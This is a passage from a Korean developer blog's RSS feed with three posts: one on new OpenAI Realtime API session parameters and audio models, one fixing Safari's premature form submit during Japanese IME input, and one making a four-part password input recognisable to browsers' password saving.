      <guid isPermaLink="true">https://developerhia.tistory.com/92</guid>
      <comments>https://developerhia.tistory.com/92#entry92comment</comments>
      <pubDate>Tue, 22 Apr 2025 14:52:22 +0900</pubDate>
    </item>
    <item>
      <title>OpenAI Realtime API 새로운 request body payload와 새로운 모델의 등장</title>
      <link>https://developerhia.tistory.com/91</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;OpenAI Realtime API 업데이트: 세션 생성 파라미터의 변화가 생겼습니다!&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;(사실 업데이트된지는 한 달 정도 됨..)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;908&quot; data-origin-height=&quot;807&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDeosE/btsNr9I6Slm/EItLX59qKBagASqlkbGq31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDeosE/btsNr9I6Slm/EItLX59qKBagASqlkbGq31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDeosE/btsNr9I6Slm/EItLX59qKBagASqlkbGq31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDeosE%2FbtsNr9I6Slm%2FEItLX59qKBagASqlkbGq31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;908&quot; height=&quot;807&quot; data-origin-width=&quot;908&quot; data-origin-height=&quot;807&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 OpenAI에서 새로운 audio 모델을 발표했다는 메일을 받게되었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 realtime api를 사용했을 때 stt는 whisper-1모델을 사용했었는데.. 특정한 뉴스보도 내용 등이 text로 변환되는 고질적인 문제가 있어 사내에서 음성채팅을 개발할 때 어려움을 많이 겪었었다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새로운 모델이 나오며 realtime api도 몇가지 추가된 payload가 있어 같이 설명해보려한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;STT: gpt-4o 모델 지원&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;wow! 이제는 stt 모델이 새롭게 나왔다! whisper-1 안 써도된다!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff; color: #353740; text-align: start;&quot;&gt;gpt-4o-transcribe&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1745127819875&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;gpt-4o-transcribe&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 해당 모델은 whisper모델에 비해 단어 오류율과 더 나은 언어 인식 및 정확도를 개선했다고 한다!!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://platform.openai.com/docs/guides/speech-to-text&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://platform.openai.com/docs/guides/speech-to-text&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-end=&quot;2088&quot; data-start=&quot;2053&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;gpt-4o-mini-tts 모델 추가&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새로운 TTS 모델인 gpt-4o-mini-tts도 도입됐다. 기존 tts-1 모델도 whisper 만큼은 아니지만 오류가 많이 있긴했어서 갱장히 기대가 된다.&amp;nbsp;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://platform.openai.com/docs/models/gpt-4o-mini-tts&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://platform.openai.com/docs/models/gpt-4o-mini-tts&lt;/a&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;기존 세션 생성 방식&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1745126971929&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
  modalities: ['text', 'audio'],
  instructions: 'AI에게 전달할 초기 명령어',
  voice: 'coral',
  input_audio_format: 'pcm16',
  output_audio_format: 'pcm16',
  input_audio_transcription: {
    model: 'whisper-1',
    language: 'ko',
    prompt: '말한 내용 그대로 변환하세요.'
  },
  turn_detection: {
    type: 'server_vad',
    threshold: 0.45,
    prefix_padding_ms: 600,
    silence_duration_ms: 800,
    create_response: true
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;새로 추가된 필드들&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. input_audio_noise_reduction&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1745127122302&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;input_audio_noise_reduction: {
  type: &quot;near_filed&quot; | &quot;far_filed&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;nbsp;&lt;b&gt;노이즈 감소 필터링&lt;/b&gt;을 적용할지 여부를 설정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 노이즈 제거는 오디오 음성 감지기(VAD)와 모델에 전달되기 전에 &lt;u&gt;&lt;b&gt;선처리&lt;/b&gt;&lt;/u&gt;된다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp;(openAI도 기존 VAD의 한계를 좀 느꼈나..싶었다)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. turn_detection.eagerness&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1745127422712&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;turn_detection: {
  ...,
  eagerness: 'high' | 'medium' | 'low' | 'auto';
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- eagerness는 &lt;b&gt;semantic_vad 모드에서만 사용되는 옵션&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;- &lt;b&gt;AI가 얼마나 빠르게 응답을 시작할지&lt;/b&gt; 결정&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;374&quot; data-start=&quot;326&quot;&gt;'low': 사용자가 말을 더 오래 이어갈 것으로 보고, 응답을 늦게 시작함&lt;/li&gt;
&lt;li data-end=&quot;415&quot; data-start=&quot;375&quot;&gt;'high': 말이 끝났다고 빠르게 판단하고 곧바로 응답 시작&lt;/li&gt;
&lt;li data-end=&quot;457&quot; data-start=&quot;416&quot;&gt;'auto'(기본값): 내부적으로 'medium' 수준으로 작동&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. turn_detection.interrupt_response&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1745127661292&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;turn_detection: {
  ...,
  interrupt_response: true
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이 옵션은 &lt;b&gt;AI가 응답을 말하는 도중에 사용자가 말을 시작하면, 현재 응답을 자동으로 중단할지를 설정하는 것&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;741&quot; data-start=&quot;728&quot;&gt;기본값은 true&lt;/li&gt;
&lt;li data-end=&quot;792&quot; data-start=&quot;742&quot;&gt;끼어들기(interruption) 시, &lt;b&gt;기존 응답을 끊고 새 발화를 우선 처리함&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;838&quot; data-start=&quot;793&quot;&gt;false로 설정하면, 사용자의 끼어들기를 무시하고 응답을 끝까지 마무리함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 기존 모델에서는 인식의 오류가 정말 높아 실서비스까지는 하기 좀 힘들었는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새로운 모델들의 성능이 얼마나 많이 높아졌을지! 궁금하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델 변경으로 얼마나 큰 변화가 있을지는 다음편에 계속....&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>개발/AI</category>
      <category>AI</category>
      <category>gpt-4o-transcribe</category>
      <category>OpenAI</category>
      <category>Realtime</category>
      <category>realtimeapi</category>
      <category>tts-1</category>
      <category>Whisper</category>
      <category>whisper-1</category>
      <category>음성채팅</category>
      <author>*히아*</author>
      <guid isPermaLink="true">https://developerhia.tistory.com/91</guid>
      <comments>https://developerhia.tistory.com/91#entry91comment</comments>
      <pubDate>Sun, 20 Apr 2025 14:50:13 +0900</pubDate>
    </item>
    <item>
      <title>Safari에서 일본어 입력 시 Enter가 form submit 되는 이슈 해결기</title>
      <link>https://developerhia.tistory.com/90</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;웹 프로젝트에서 입력 폼을 만들다 보면 다양한 언어 환경과 브라우저 동작을 고려해야 합니다. 최근 일본어를 입력하는 Safari 유저에게서 다음과 같은 문제가 발생했습니다.&lt;/p&gt;
&lt;blockquote data-end=&quot;389&quot; data-start=&quot;314&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;p data-end=&quot;389&quot; data-start=&quot;316&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제:&lt;/b&gt; 일본어 입력 도중 Enter 키를 누르면 &lt;b&gt;한자 변환 확정이 아니라 폼이 제출(submit)&lt;/b&gt; 되어버리는 현상&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-end=&quot;513&quot; data-start=&quot;391&quot; data-ke-size=&quot;size16&quot;&gt;이 문제는 Chrome, Firefox 등 다른 브라우저에서는 발생하지 않았기 때문에 원인을 파악하고 해결하는 데 꽤 시간이 걸렸습니다. 이 글에서는 문제 상황, 원인 분석, 그리고 해결 과정까지 모두 공유해보겠습니다.&lt;/p&gt;
&lt;p data-end=&quot;513&quot; data-start=&quot;391&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;534&quot; data-start=&quot;520&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 상황 재현&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-end=&quot;545&quot; data-start=&quot;536&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;⚙️ 환경&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;644&quot; data-start=&quot;547&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;578&quot; data-start=&quot;547&quot;&gt;브라우저: &lt;b&gt;Safari (macOS, iOS)&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;595&quot; data-start=&quot;579&quot;&gt;입력 언어: &lt;b&gt;일본어&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1744248797220&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;form onSubmit={handleSubmit}&amp;gt;
  &amp;lt;textarea onKeyDown={handleChangeHeight} /&amp;gt;
  &amp;lt;button type=&quot;submit&quot;&amp;gt;Send&amp;lt;/button&amp;gt;
&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-end=&quot;796&quot; data-start=&quot;781&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-end=&quot;796&quot; data-start=&quot;781&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;⛔ 문제가 되는 행동&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;863&quot; data-start=&quot;798&quot; data-ke-size=&quot;size16&quot;&gt;Safari에서 일본어를 입력할 때, 예를 들어 こんにちは를 한자로 바꾸기 위해 입력 후 Enter를 누르면&amp;hellip;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;962&quot; data-start=&quot;865&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;915&quot; data-start=&quot;865&quot;&gt;&lt;b&gt;Chrome, Firefox&lt;/b&gt;: IME 입력이 확정되고, submit은 되지 않음&lt;/li&gt;
&lt;li data-end=&quot;962&quot; data-start=&quot;916&quot;&gt;&lt;b&gt;Safari&lt;/b&gt;: IME 입력이 끝나기도 전에 form이 submit 됨&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1007&quot; data-start=&quot;964&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;즉, 사용자는 아직 입력 중인데 메시지가 전송돼버리는 UX 문제가 발생합니다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;1007&quot; data-start=&quot;964&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;1025&quot; data-start=&quot;1014&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;  원인 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-end=&quot;1171&quot; data-start=&quot;1027&quot; data-ke-size=&quot;size16&quot;&gt;Safari에서는 onKeyDown 이벤트의 e.nativeEvent.isComposing 값이 &lt;b&gt;기대한 것보다 빨리 false가 되거나&lt;/b&gt;,&lt;br /&gt;onCompositionEnd가 &lt;b&gt;IME 입력 확정 전에 먼저 호출되는 경우&lt;/b&gt;가 있었습니다.&lt;/p&gt;
&lt;p data-end=&quot;1227&quot; data-start=&quot;1173&quot; data-ke-size=&quot;size16&quot;&gt;이는 IME(입력기) 동작의 타이밍 차이에서 비롯되며, 특히 Safari에서 더 자주 발생합니다.&lt;/p&gt;
&lt;p data-end=&quot;1227&quot; data-start=&quot;1173&quot; data-ke-size=&quot;size16&quot;&gt;Safari는 변환 중인데도 compositionend가 너무 빨리 오는 경우 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1227&quot; data-start=&quot;1173&quot; data-ke-size=&quot;size16&quot;&gt;(크롬은 문제 없이 잘 동작...)&lt;/p&gt;
&lt;p data-end=&quot;1227&quot; data-start=&quot;1173&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;=&amp;gt; isComposing 상태를 추적해서 Enter를 무시해야 함&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-end=&quot;1227&quot; data-start=&quot;1173&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-end=&quot;1227&quot; data-start=&quot;1173&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;‼️ IME란?&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-end=&quot;1227&quot; data-start=&quot;1173&quot; data-ke-size=&quot;size16&quot;&gt;IME&amp;nbsp;(Input&amp;nbsp;Method&amp;nbsp;Editor)는&amp;nbsp;키보드로&amp;nbsp;직접&amp;nbsp;입력할&amp;nbsp;수&amp;nbsp;없는&amp;nbsp;문자나&amp;nbsp;언어를&amp;nbsp;입력할&amp;nbsp;수&amp;nbsp;있게&amp;nbsp;도와주는&amp;nbsp;도구&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[&amp;nbsp;IME의&amp;nbsp;동작&amp;nbsp;흐름&amp;nbsp;]&lt;/b&gt;&lt;br /&gt;&lt;b&gt;1.&amp;nbsp;Composition&amp;nbsp;Start&amp;nbsp;(입력&amp;nbsp;시작)&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;예:&amp;nbsp;konnichiha를&amp;nbsp;타이핑하면&amp;nbsp;아직&amp;nbsp;&quot;未確定&quot;&amp;nbsp;상태의&amp;nbsp;문자로&amp;nbsp;처리됨&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2.&amp;nbsp;Composition&amp;nbsp;Update&amp;nbsp;(입력&amp;nbsp;중)&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;계속해서&amp;nbsp;입력이&amp;nbsp;바뀌는&amp;nbsp;중.&amp;nbsp;사용자는&amp;nbsp;아직&amp;nbsp;확정하지&amp;nbsp;않았고&amp;nbsp;IME가&amp;nbsp;후보를&amp;nbsp;보여줌.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3.&amp;nbsp;Composition&amp;nbsp;End&amp;nbsp;(입력&amp;nbsp;확정)&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;사용자가&amp;nbsp;Enter&amp;nbsp;등을&amp;nbsp;눌러&amp;nbsp;후보를&amp;nbsp;선택하면,&amp;nbsp;확정된&amp;nbsp;문자가&amp;nbsp;입력&amp;nbsp;필드에&amp;nbsp;반영됨.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;1227&quot; data-start=&quot;1173&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1227&quot; data-start=&quot;1173&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-end=&quot;1251&quot; data-start=&quot;1229&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;  원래 시도했던 방식 (실패)&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1744248880468&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const handleKeyDown = (e: KeyboardEvent) =&amp;gt; {
  if (e.nativeEvent.isComposing) return; // 입력 중이면 무시
  if (e.key === 'Enter') {
    e.preventDefault(); // submit 방지
    handleSubmit();
  }
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 방법은 Chrome에서는 잘 작동했지만, Safari에서는 isComposing === false인데 여전히 변환 중인 상태라 submit이 발생했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;1563&quot; data-start=&quot;1553&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;✅ 해결 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1619&quot; data-start=&quot;1579&quot;&gt;isComposing 상태를 &lt;b&gt;useRef로 직접 관리&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1679&quot; data-start=&quot;1620&quot;&gt;onCompositionStart / onCompositionEnd으로 정확한 입력 상태 감지&lt;/li&gt;
&lt;li data-end=&quot;1737&quot; data-start=&quot;1680&quot;&gt;Safari의 빠른 onCompositionEnd를 보완하기 위해 &lt;b&gt;setTimeout&lt;/b&gt; 사용&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-end=&quot;1798&quot; data-start=&quot;1786&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;최종 코드&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1744248976701&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const isComposingRef = useRef(false);

const handleCompositionStart = () =&amp;gt; {
  isComposingRef.current = true;
};

const handleCompositionEnd = () =&amp;gt; {
  setTimeout(() =&amp;gt; {
    isComposingRef.current = false;
  }, 10); // Safari 대응
};

const handleKeyDown = (e: KeyboardEvent&amp;lt;HTMLTextAreaElement&amp;gt;) =&amp;gt; {
  if (e.key === 'Enter' &amp;amp;&amp;amp; !e.shiftKey) {
    if (isComposingRef.current) {
      e.preventDefault();
      return;
    }

    e.preventDefault();
    handleSubmit(e as unknown as FormEvent);
  }
};

&amp;lt;Textarea
  ref={textareaRef}
  onKeyDown={handleKeyDown}
  onCompositionStart={handleCompositionStart}
  onCompositionEnd={handleCompositionEnd}
/&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;useState는 비동기적으로 동작하기 때문에 onKeyDown에서 즉시 반영되지 않을 수 있어서&lt;/div&gt;
&lt;div&gt;동기적으로 참조 가능한 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;useRef로 변경하여&amp;nbsp;&lt;/span&gt;더 안정적으로 composition 상태를 추적!!&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>개발/Problem&amp;amp;Solution</category>
      <category>Composition</category>
      <category>ime란</category>
      <category>ime일본어처리</category>
      <author>*히아*</author>
      <guid isPermaLink="true">https://developerhia.tistory.com/90</guid>
      <comments>https://developerhia.tistory.com/90#entry90comment</comments>
      <pubDate>Thu, 10 Apr 2025 10:46:14 +0900</pubDate>
    </item>
    <item>
      <title>브라우저에서 비밀번호로 인식하게 만들기</title>
      <link>https://developerhia.tistory.com/89</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;기존 프로젝트 디자인 상 비밀번호 입력하는 란이 아래와 같이 4개로 분할되어 있었다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;484&quot; data-origin-height=&quot;290&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oKfwE/btsJyIB2HuO/wru7ZQNAhjVZWkOOfeRyEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oKfwE/btsJyIB2HuO/wru7ZQNAhjVZWkOOfeRyEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oKfwE/btsJyIB2HuO/wru7ZQNAhjVZWkOOfeRyEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoKfwE%2FbtsJyIB2HuO%2Fwru7ZQNAhjVZWkOOfeRyEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;392&quot; height=&quot;235&quot; data-origin-width=&quot;484&quot; data-origin-height=&quot;290&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 이에 맞춰 4개의 input칸을 만들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1726108513334&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{maskedValues.map((value, index) =&amp;gt; (
	&amp;lt;input
		key={index}
		type=&quot;password&quot;
		inputMode=&quot;numeric&quot;
		maxLength={1}
		value={value}
		onChange={e =&amp;gt; handleChange(index, e.target.value)}
		onKeyDown={e =&amp;gt; handleKeyDown(index, e)}
	/&amp;gt;
))}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 하다 보니 브라우저 단에서 비밀번호로 인식을 못하여 비밀번호 저장 팝업이 뜨지 않는 문제가 생겼다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이유는 브라우저는 주로 input 태그에서 type=&quot;password&quot;로 설정된 필드를 찾아 비밀번호 필드로 인식하지만 단순히 type=&quot;password&quot;만으로는 충분하지 않을 수 있다는 것..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;input 필드에 autocomplete=&quot;current-password&quot; 속성을 추가해보았다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;** autocomplete 속성은 HTML 폼에서 입력 필드에 자동 완성을 지원하기 위한 속성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;utocomplete=&quot;current-password&quot;&lt;/b&gt;: 현재 비밀번호 입력 필드에 자동 완성&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 추가해도 브라우저에 자동 저장이 되지 않았다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이유는 비밀번호를 4개의 input 필드로 나누어 입력하도록 구성했기 때문에 브라우저가 이를 비밀번호 입력 필드로 인식하지 못할 수도 있다는 것,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 보이는 input을 따로 두고 실제 값은 하나의 input에 저장되게끔 해주었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1726115628555&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{getMaskedValues().map((value, index) =&amp;gt; (
	&amp;lt;div key={index} className=&quot;password__input-wrapper&quot;&amp;gt;
		&amp;lt;input
			type=&quot;password&quot;
			value={value ? '*' : ''}
			readOnly
			className=&quot;password__input&quot;
